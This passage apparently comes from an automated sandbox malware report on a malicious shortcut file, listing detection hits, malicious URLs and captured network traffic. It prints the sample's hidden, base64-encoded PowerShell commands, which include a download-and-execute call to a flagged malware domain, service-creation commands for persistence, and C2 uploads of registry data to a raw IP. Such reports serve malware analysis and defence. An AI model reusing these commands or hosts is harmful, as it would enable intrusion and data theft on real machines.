AEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcA

Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: /c powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=, CommandLine: /c powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\Temp\myRdpService.exe cakoi10, ParentImage: C:\Windows\Temp\myRdpService.exe, ParentProcessId: 5348, ParentProcessName: myRdpService.exe, ProcessCommandLine: /c powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=, ProcessId: 8220, ProcessName: cmd.exe

Sigma detected: Dynamic CSharp Compile Artefact

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 4588, TargetFilename: C:\Users\user\AppData\Local\Temp\n4r2ytua\n4r2ytua.cmdline

Sigma detected: Net.exe Execution

Source: Process started

Author: Michael Haag, Mark Woan (improvements), James Pemberton / @4A616D6573 / oscd.community (improvements): Data: Command: net start "myRdpService", CommandLine: net start "myRdpService", CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: "cmd.exe" /c sc delete "myRdpService" & SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto & net start "myRdpService", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6604, ParentProcessName: cmd.exe, ProcessCommandLine: net start "myRdpService", ProcessId: 1616, ProcessName: net.exe

Sigma detected: New Service Creation Using Sc.EXE

Source: Process started

Author: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community: Data: Command: SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto , CommandLine: SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto , CommandLine|base64offset|contains: H, Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: "cmd.exe" /c sc delete "myRdpService" & SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto & net start "myRdpService", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6604, ParentProcessName: cmd.exe, ProcessCommandLine: SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto , ProcessId: 3056, ProcessName: sc.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: pOWERsheLl.eXE -WINDoWSTylE hiDdEN -EncoDEdCommAnd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEUAOABBAFIAQQBCAHAAQQBHADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEARgBRAEEAVQB3AEIAMABBAEYASQBBAFMAUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAZAB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAFEAQQBGAE0AQQBNAEEAQQAxAEEARwAwAEEASQBnAEEAcABBAEMAawBBAEsAUQBBAHAAQQBDADQAQQBRAHcAQgBQAEEARwA0AEEAVgBBAEIARgBBAEcANABBAGQAQQBBAHAAQQBDAGsAQQAiAA==" , CommandLine: pOWERsheLl.eXE -WINDoWSTylE hiDdEN -EncoDEdCommAnd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEUAOABBAFIAQQBCAHAAQQBHADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEARgBRAEEAVQB3AEIAMABBAEYASQBBAFMAUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAZAB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcA

Sigma detected: SC.EXE Query Execution

Source: Process started

Author: frack113: Data: Command: sc query myRdpService, CommandLine: sc query myRdpService, CommandLine|base64offset|contains: , Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: "cmd.exe" /c sc query myRdpService, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 8676, ParentProcessName: cmd.exe, ProcessCommandLine: sc query myRdpService, ProcessId: 8376, ProcessName: sc.exe

Sigma detected: Start Windows Service Via Net.EXE

Source: Process started

Author: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community: Data: Command: net start "myRdpService", CommandLine: net start "myRdpService", CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: "cmd.exe" /c sc delete "myRdpService" & SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto & net start "myRdpService", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6604, ParentProcessName: cmd.exe, ProcessCommandLine: net start "myRdpService", ProcessId: 1616, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc, CommandLine: C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 864, ProcessCommandLine: C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc, ProcessId: 4520, ProcessName: svchost.exe

Data Obfuscation

Sigma detected: Dot net compiler compiles file from suspicious location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\n4r2ytua\n4r2ytua.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\n4r2ytua\n4r2ytua.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAdAAuAEUAbgBjAE8ARABpAG4ARwBdADoAOgBVAFQARgA4AC4ARwBlAFQAUwB0AFIASQBOAGcAKAAoAEkAdwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBQAFMAMAA1AG0AIgApACkAKQApAC4AQwBPAG4AVABFAG4AdAApACkA , ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 4588, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\n4r2ytua\n4r2ytua.cmdline", ProcessId: 8364, ProcessName: csc.exe

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-11T12:30:38.611393+0100	2803305	3	Unknown Traffic	192.168.11.30	49763	172.67.128.139	443	TCP
2024-12-11T12:31:28.223459+0100	2803305	3	Unknown Traffic	192.168.11.30	49768	172.67.128.139	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-11T12:29:18.596905+0100	2803274	2	Potentially Bad Traffic	192.168.11.30	49738	172.67.128.139	443	TCP
2024-12-11T12:29:20.783200+0100	2803274	2	Potentially Bad Traffic	192.168.11.30	49740	172.67.128.139	443	TCP
2024-12-11T12:29:22.977659+0100	2803274	2	Potentially Bad Traffic	192.168.11.30	49742	172.67.128.139	443	TCP
2024-12-11T12:29:45.058020+0100	2803274	2	Potentially Bad Traffic	192.168.11.30	49756	172.67.128.139	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://cocomethode.de/OKNf	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bae128a3f65230e	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596baed51283ed5b95	Avira URL Cloud: Label: malware
Source: http://cocomethode.de	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/file2/30bb492ec87899a2b4a8fa5c9eeec469c195e0b8ed0d1a330469aa0c9479e74ac1d07aa	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/file2/2f50eec7b7fe989c3602e42fe12e09ebb032005a9f9172a762eaeaff41257fe78168796	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/StaticFile/TermServiceTryRun/84	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/file2/2f50eec7b7fe989c3602e42fe12e09ebb032005a9f9172a762eaeaff41257fe78168796832c4fd288b62c8ec411566a8647c0dcf0e876594e63eefc32abbe62cf7e16991160bf42ec5699a35966baaa81d918ee8e0cfd67495b55d4aa2a39a45e1d3f3bae765c97e7ceb82114cdc97d1	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/file3/b83fe30fc85331b12cce94a54c8621c65eea6b03791942cceb80937bd723c6b18fd123c1f55782c1aa93f7ccdfccb20f78866afc8074889dd125916882b0ad29e2f1b013f9f235865a5d8e4be95dccfbcf72fc95b375ca83c0d95f43fa19f849/Windows%20Defender/16/16/user/207	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/file2/442d6d2bbbf95a0c2d98335c7cf12d9d4a2163bfd33f42547d8e2176349fc5bec999df77ed6fc10cd2b8f1bf6e1419afd1b8e652d60820a56f5d872b9832d58cfe65348bdb616db23e43f7972daf391f13bd6a69c891902807aad423627811c8e0d4aa7ee939d745201eed806ee979fa	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/file2/7fd1a89d0020dcffe37c334092d29597499af8b82a4f37fb75f7f3a0a1257f1e979bdbe	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/StaticFile/RdpService/46	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596baed51283ed5b95f84aa14c94ff343224b	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/file2/d51c3dcb853d6c497196480b03dbc640248fcef44df66b5a162e2d46de68ca13d57f766867e1712c1111f93d41207e9a66b4c79a2a22a8f3f977554b38c2c12b8d6d0f874d5d28de666900008551a5a74884807c221f677dd119de8925270a5159b4d5954723b3d86ef67de15dc0d9b5	Avira URL Cloud: Label: malware
Source: https://cocomethode.de	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba43c8e1d00e502	Avira URL Cloud: Label: malware
Source: http://cocomethode.de/api/check	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/file2/961e923217e6366fedc4ef058b135504177a85e5d4a3d3fefcd20dd6a4bae06bcd34fb5dbb1a738ebd5d59c383ddda7ae733b974b62b8e600a867205fe86acb615bbb394f676a9487f0a6d13dbf465585b805cd5c966e21c3b43adfc54fca65e29f108cd32057c0ab0de90b77ba7bdfc	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/file2/442d6d2bbbf95a0c2d98335c7cf12d9d4a2163bfd33f42547d8e2176349fc5bec999df7	Avira URL Cloud: Label: malware
Source: https://login.live.	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/file2/d51c3dcb853d6c497196480b03dbc640248fcef44df66b5a162e2d46de68ca13d57f766	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bae128a3f65230e6a08fc1c8a0132f7fe9	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/file2/30bb492ec87899a2b4a8fa5c9eeec469c195e0b8ed0d1a330469aa0c9479e74ac1d07aa2b8fd57cf5f0bd3f24c68ed185d64a9ac7de4983fe5e3122fca7943699695f922096bc194352a7f8167d0f40a86605fb5fcbc94e2f07cb01d75a37ad6	Avira URL Cloud: Label: malware
Source: https://login.live./deviceaddcr.srf	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba65e9b16659fd9	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba65e9b16659fd9137f27af5d301268105	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba43c8e1d00e5022a88bcc6d6d3c9d79b3	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/file2/961e923217e6366fedc4ef058b135504177a85e5d4a3d3fefcd20dd6a4bae06bcd34fb5	Avira URL Cloud: Label: malware

Multi AV Scanner detection for submitted file

Source: WXahq3ZEss.lnk	Virustotal: Detection: 34%			Perma Link
Source: WXahq3ZEss.lnk	ReversingLabs: Detection: 34%

Machine Learning detection for sample

Source: WXahq3ZEss.lnk

Joe Sandbox ML: detected

Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE

Directory created: C:\Program Files\Microsoft Office\root\vfs\Common AppData\Microsoft\Office\Heartbeat\HeartbeatCache.xml

Source: unknown	HTTPS traffic detected: 172.67.128.139:443 -> 192.168.11.30:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.128.139:443 -> 192.168.11.30:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.128.139:443 -> 192.168.11.30:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.128.139:443 -> 192.168.11.30:49763 version: TLS 1.2

Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000008.00000002.3730614240.0000000DB7735000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\System.Management.Automation.pdb source: powershell.exe, 00000008.00000002.3792697952.0000012F5029A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: !n.pdbPv source: powershell.exe, 00000008.00000002.3730614240.0000000DB7735000.00000004.00000010.00020000.00000000.sdmp

Networking

Potential dropper URLs found in powershell memory

Source: powershell.exe, 0000000D.00000002.4510984351.000002932B596000.00000004.00000800.00020000.00000000.sdmp

String found in memory: <   "><a href="http://style="float:left;concerned with the=http%3A%2F%2Fwww.in popular culturetype="text/css" />it is possible to Harvard Universitytylesheet" href="/the main characterOxford University name="keywords" cstyle="text-align:the United Kingdomfederal government<div style="margin depending on the description of the<div class="header.min.js"></script>destruction of theslightly differentin accordance withtelecommunicationsindicates that theshortly thereafterespecially in the European countriesHowever, there aresrc="http://staticsuggested that the" src="http://www.a large number of Telecommunications" rel="nofollow" tHoly Roman Emperoralmost exclusively" border="0" alt="Secretary of Stateculminating in theCIA World Factbookthe most importantanniversary of thestyle="background-<li><em><a href="/the Atlantic Oceanstrictly speaking,shortly before thedifferent types ofthe Ottoman Empire><img src="http://An Introduction toconsequence of thedeparture from theConfederate Statesindigenous peoplesProceedings of theinformation on thetheories have beeninvolvement in thedivided into threeadjacent countriesis responsible fordissolution of thecollaboration withwidely regarded ashis contemporariesfounding member ofDominican Republicgenerally acceptedthe possibility ofare also availableunder constructionrestoration of thethe general publicis almost entirelypasses through thehas been suggestedcomputer and videoGermanic languages according to the different from theshortly afterwardshref="https://www.recent developmentBoard of Directors<div class="search| <a href="http://In particular, theMultiple footnotesor other substancethousands of yearstranslation of the</div>

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 8000 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 8000 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 8000 -> 49767

Source: global traffic

TCP traffic: 192.168.11.30:49765 -> 23.88.71.29:8000

Source: global traffic	HTTP traffic detected: GET /StaticFile/RdpService/46 HTTP/1.1Host: cocomethode.de
Source: global traffic	HTTP traffic detected: GET /StaticFile/TermServiceTryRun/84 HTTP/1.1Host: cocomethode.de
Source: global traffic	HTTP traffic detected: GET /api/check HTTP/1.1Host: cocomethode.deConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /client/ws HTTP/1.1Host: 23.88.71.29:8000Connection: UpgradeUpgrade: websocketSec-WebSocket-Key: vSGksIBbOk2mcrAcIKxUnQ==Sec-WebSocket-Version: 13
Source: global traffic	HTTP traffic detected: POST /api/registry HTTP/1.1Host: 23.88.71.29:8000Connection: Keep-AliveContent-Type: application/jsonContent-Length: 102Data Raw: 22 45 43 41 34 45 37 46 36 34 35 43 45 41 42 43 46 31 34 31 44 36 30 32 43 43 33 30 38 39 36 37 32 7c 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 7c 31 30 2e 30 2e 31 39 30 34 32 20 4e 2f 41 20 42 75 69 6c 64 20 31 39 30 34 32 2d 31 30 2e 30 2e 31 39 30 34 31 2e 31 30 38 31 22 Data Ascii: "ECA4E7F645CEABCF141D602CC3089672\|Microsoft Windows 10 Pro\|10.0.19042 N/A Build 19042-10.0.19041.1081"
Source: global traffic	HTTP traffic detected: POST /api/registry/upload/6cce7182d50ed3d7e611466cceafa5e2 HTTP/1.1Host: 23.88.71.29:8000Connection: Keep-AliveContent-Type: multipart/form-data; boundary=---------------------8dd19ad5e2943f2Content-Length: 5689Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 31 39 61 64 35 65 32 39 34 33 66 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 72 65 67 42 61 63 6b 75 70 2e 72 65 67 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a ff fe 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 20 00 52 00 65 00 67 00 69 00 73 00 74 00 72 00 79 00 20 00 45 00 64 00 69 00 74 00 6f 00 72 00 20 00 56 00 65 00 72 00 73 00 69 00 6f 00 6e 00 20 00 35 00 2e 00 30 00 30 00 0d 00 0a 00 0d 00 0a 00 5b 00 48 00 4b 00 45 00 59 00 5f 00 4c 00 4f 00 43 00 41 00 4c 00 5f 00 4d 00 41 00 43 00 48 00 49 00 4e 00 45 00 5c 00 53 00 59 00 53 00 54 00 45 00 4d 00 5c 00 43 00 75 00 72 00 72 00 65 00 6e 00 74 00 43 00 6f 00 6e 00 74 00 72 00 6f 00 6c 00 53 00 65 00 74 00 5c 00 53 00 65 00 72 00 76 00 69 00 63 00 65 00 73 00 5c 00 54 00 65 00 72 00 6d 00 53 00 65 00 72 00 76 00 69 00 63 00 65 00 5d 00 0d 00 0a 00 22 00 44 00 65 00 70 00 65 00 6e 00 64 00 4f 00 6e 00 53 00 65 00 72 00 76 00 69 00 63 00 65 00 22 00 3d 00 68 00 65 00 78 00 28 00 37 00 29 00 3a 00 35 00 32 00 2c 00 30 00 30 00 2c 00 35 00 30 00 2c 00 30 00 30 00 2c 00 34 00 33 00 2c 00 30 00 30 00 2c 00 35 00 33 00 2c 00 30 00 30 00 2c 00 35 00 33 00 2c 00 30 00 30 00 2c 00 30 00 30 00 2c 00 30 00 30 00 2c 00 30 00 30 00 2c 00 30 00 30 00 0d 00 0a 00 22 00 44 00 65 00 73 00 63 00 72 00 69 00 70 00 74 00 69 00 6f 00 6e 00 22 00 3d 00 22 00 40 00 25 00 53 00 79 00 73 00 74 00 65 00 6d 00 52 00 6f 00 6f 00 74 00 25 00 5c 00 5c 00 53 00 79 00 73 00 74 00 65 00 6d 00 33 00 32 00 5c 00 5c 00 74 00 65 00 72 00 6d 00 73 00 72 00 76 00 2e 00 64 00 6c 00 6c 00 2c 00 2d 00 32 00 36 00 37 00 22 00 0d 00 0a 00 22 00 44 